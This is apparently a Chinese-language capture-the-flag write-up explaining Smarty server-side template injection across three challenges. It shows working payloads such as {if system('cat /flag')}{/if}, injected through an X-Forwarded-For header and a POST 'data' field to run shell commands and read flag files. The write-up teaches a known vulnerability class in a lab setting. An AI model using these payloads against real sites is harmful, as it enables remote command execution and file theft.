目录
[CISCN 2019华东南]Web11和[NISACTF 2022]midlevel
1、题目
2、知识点
3、思路
[HDCTF 2023]SearchMaster
1、题目
2、知识点
3、思路
[CISCN 2019华东南]Web11和[NISACTF 2022]midlevel
这两道题目一样
1、题目
2、知识点
SSTI(服务端模板注入漏洞)、smarty
SSTI(服务端模板注入漏洞)
原理:开发者使用模板进行开发,例如smarty,Django等,在开发过程中,没有将模板语句与数据进行分离,也就是前端的内容会传到服务器进行执行,所以导致攻击者可以利用开发模板的特性进行入侵,可以执行系统命令,Getshell等
smarty是PHP语言的一个开发模板,这个模板也存在很多漏洞,大家可以自行百度
不同开发模版的语法也不一样,那么怎么判断他们是属于哪一种呢?
可以参考下面这一张图
3、思路
打开题目,我们可以看到提示我们使用的是Smarty,跟XFF有关,我们可以在XFF构造payload
X-Forwarded-For:{php}phpinfo(){/php}
结果报错了,可能是版本的原因,查一下当前的smarty的版本
X-Forwarded-For:{$smarty.version}
当前版本是3.1.30,报错的原因是因为目前的版本应该弃用{php}{/php}这一标签了
但是还有一个{if}{/if}标签,这个{if}标签跟原来的php语言区别是每一个{if}后面都要有{/if}配成一对
X-Forwarded-For:{if phpinfo()}{/if}
结果正常回显,我们构造系统执行命令
X-Forwarded-For:{if system('cat /flag')}{/if}
得到flag:NSSCTF{a7574cb4-65a0-4447-873b-465b370e56a3}
[HDCTF 2023]SearchMaster
1、题目
2、知识点
这一题的知识点跟上面的一样,SSTI、Smarty
3、思路
打开题目,有个黄色按钮,跳转页面
但这个flag是错误的
另外提示要我们POST上传一个数据data,但没有明确告诉我们变量名是什么,我们猜一下变量名是data,但下一步怎么做呢?好像又无从下手
根据题目标签,跟SSTI、Smarty有关,我们测试一下
说明变量名为data,且为Smarty模板,这里测试的方法就是根据下面这张图的,不同模板的语法不一样
知道是Smarty,就好办了,
data={php}phpinfo();{/php}
{php}标签报错,那我们使用{if}标签
data={if phpinfo()}{/if}
正常执行,我们构造系统执行命令
data={if system('ls /')}{/if}
查看flag_13_searchmaster文件
data={if system('cat /flag_13_searchmaster')}{/if}
得到flag:NSSCTF{df69cb3b-f72e-4cb2-9da2-4e0b46cb4c73}
这篇文章就先记录到这里了,哪里不懂的或者哪里不好的欢迎指出